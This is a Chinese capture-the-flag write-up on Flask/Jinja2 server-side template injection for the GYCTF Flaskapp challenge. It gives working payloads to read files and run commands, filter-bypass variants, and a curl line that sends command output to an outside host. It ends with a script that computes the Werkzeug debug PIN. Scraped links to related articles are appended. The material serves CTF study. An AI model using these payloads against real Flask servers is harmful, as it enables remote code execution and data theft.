GYCTF Flaskapp[SSTI模板注入 ]
学习链接:
找了个师傅的blog先学习一下基础的flask知识
https://www.freebuf.com/column/187845.html(从零学flask)

简单记录一下:
flask 中渲染的方法有两种:
render_template
render_template_string
两者的区别:
render_template()渲染指定的文件
render_template_string()渲染指定的字符串
不正确的使用render_template_string()可能会引发SSTI
模板:
flask使用jinja2作为渲染引擎,在网站的根目录下templates文件夹用来存放html文件(模板文件)
{{}}在jinja2中作为变量包裹标识符,不仅可以传递变量同时也可以执行简单的表达式
SSTI文件读取/命令执行/文件包含
通过python的对象的继承来一步步实现文件读取和命令执行!!!!!!!!!!!!!!!!!!!!
找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块
重要的魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法(找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的))
__globals__ 对包含函数全局变量的字典的引用
__dict__ 保存类实例或对象实例的属性变量键值对字典
__bases__ 返回类型列表
__builtins__查看其引用
下面记录内容转自!!!!!!!!!!!!!!!!!!!!!:
感谢师傅的blog讲的很详细!!!!!!
攻击流程(以文件读取举例):
获取基本类-->获取基本类的子类-->找到重载过的__init__类-->查看其引用__builtins__(builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块)-->这里会返回dict类型,寻找keys中可以调用的函数,直接调用,使用keys中的file以实现读取功能
''.__class__.__mro__[].__subclasses__()[].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()
写文件的话就是把后面的read改为write即可(中括号中的数字是“引索”)
命令执行:...........
绕过方法:
1.绕过中括号和 . :只过滤[ ]时:pop()函数,若也过滤 . 则使用JinJa2函数|attr()
''.__class__.__mro__.__getitem__().__subclasses__().pop()('/etc/passwd').read()
request.__class__改成request|attr("__class__")
2.过滤引号:request.args属性 (是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤)
{{().__class__.__bases__.__getitem__().__subclasses__().pop()(request.args.path).read()}}&path=/etc/passwd
3.过滤双下划线:request.args属性,request.values是利用POST传参
GET:
{{ ''[request.value.class][request.value.mro][][request.value.subclasses]()[]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__
4.过滤关键字:base64编码绕过,__getattribute__(使用实例访问属性时,调用该方法)
例如过滤__class__
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[]("/etc/passwd").read()}}
字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[]("/etc/passwd").read()}}
5.过滤 {{
使用 {% if ... %}1{% endif %}
{% if ''.__class__.__mro__[].__subclasses__()[].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / | grep flag`;') %}{% endif %}
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出
{% if ''.__class__.__mro__[].__subclasses__()[]('/tmp/test').read()[:]=='p' %}{% endif %}
相关题型:科来杯-easy_flask,QCTF-Confustion1
学习:
Server-Side Template Injection
第二种方法
pin码:
这个题还牵扯到pin码
什么是pin码: 关于PIN码,是在Flask开启debug模式时存在的一个交互shell的key,输入PIN码就可以进入交互shell
爆破pin码:
username,machine-id的等等6个参数,就可以爆破PIN码。还需要一个文件读取点做为跳板题目复现:
{{ [].__class__.__base__.__subclasses__()[].__init__.__globals__['po'+'pen']('ls').read()}}
读取flag(flag被过滤,用fla\g绕过)
{{ [].__class__.__base__.__subclasses__()[].__init__.__globals__['po'+'pen']('cat this_is_the_fla\g.txt').read()}}
在BUU重新复现的时候发现,这个payload用不了,因为popen被ban了,我们这样也没有绕过去,那就考虑文件读取,但是不知道flag文件位置啊,所以只有第二种构造pin值了
方法二:
官方wp给出了思路
|
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %} |
构造pin值的关键值::
* . 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb * . modname 一般不变就是flask.app * . getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变 * . flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3./site-packages/flask/app.py * .当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡: * .最后一个就是机器的id。 对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。 对于docker机则读取/proc/self/cgroup
学习思路:
https://www.gem-love.com/ctf/1669.html#i-4
先贴个师傅的脚本:
脚本出处:https://xz.aliyun.com/t/2553
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]
private_bits = [
'2485377957891',# address
'e96996169e90130c1b6e2b3fb9af5b39abcacc1b1f84211a58e27854c3a1219e'# machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
GYCTF Flaskapp[SSTI模板注入 ]的更多相关文章
- XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip
转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...
- SSTI(模板注入)
SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...
- 2018护网杯easy_tornado(SSTI tornado render模板注入)
考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...
- SSTI(服务器模板注入)学习
SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...
- SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1
ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...
- 1. SSTI(模板注入)漏洞(入门篇)
好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...
- CTF SSTI(服务器模板注入)
目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...
- SSTI服务端模板注入漏洞原理详解及利用姿势集锦
目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...
- Flask(Jinja2) 服务端模板注入漏洞(SSTI)
flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...
随机推荐
- 关于PreparedStatement.addBatch()方法
Statement和PreparedStatement的区别就不多废话了,直接说PreparedStatement最重要的addbatch()结构的使用. 1.建立链接,(打电话拨号 ) Connec ...
- CSS绝对定位absolute详解
转:https://www.jianshu.com/p/a3da5e27d22b 之前介绍过CSS浮动float详解,本篇介绍的绝对定位absolute和浮动float有部分相似性.如果能理解 ...
- 未来图书-需求分析——脑机接口、VR、AI推荐系统
个人比较喜欢科幻作品,也常常畅想未来.. "书"作为几千年来人类文明信息载体,必然会不断演变.. 文荟宿舍墙上贴着Elon Musk的海报,向往像他一样能够在有限的生命中用极致的想 ...
- (五)myBatis架构以及SQlSessionFactory,SqlSession,通过代理执行crud源码分析---待更
MyBatis架构 首先MyBatis大致上可以分为四层: 1.接口层:这个比较容易理解,就是指MyBatis暴露给我们的各种方法,配置,可以理解为你import进来的各种类.,告诉用户你可以干什么 ...
- Burpsuite--安装和环境配置
1.引子 Burpsuite是一款安全人员常用的工具.在渗透测试中,我们使用Burp Suite将使得测试工作变得更加容易和方便,即使在不需要娴熟的技巧的情况下,只有我们熟悉Burp Suite的使用 ...
- C++括号匹配检测(用栈)
输入一串括号,包括圆括号和方括号,()[],判断是否匹配,即([]())或[([][])]为匹配的正确的格式,[(])或([())为不匹配的格式. #include<iostream> # ...
- FastDFS 配置文件 client.conf storage_ids.conf
client.conf : # connect timeout in seconds # default value is 30s connect_timeout=30 连接 ...
- centos7利用系统镜像修复grub
1 故障描述 由于错误操作,导致grub配置文件失效,系统开机后一直卡在下面的画面. 2 解决办法 这时候,就要利用系统镜像光盘,进入修复模式,然后按下面图示操作 进入镜像的shell环境,如下图所示 ...
- Mysql性能优化全揭秘-庖丁解牛
「为什么写」 一直想写数据库相关的文章,最直接的原因是数据库这块我们工作中每天都会用到,也是面试求职绕不开的话题,无论你是何种测试,优秀的数据库能力都会非常加分,最近我在总结数据库性能优化这块内容,性 ...
- asp.net core 3.x 授权默认流程
一.前言 接上一篇<asp.net core 3.x 授权中的概念>,本篇看看asp.net core默认授权的流程.从两个方面来看整个授权系统是怎么运行的:启动阶段的配置.请求阶段中间件 ...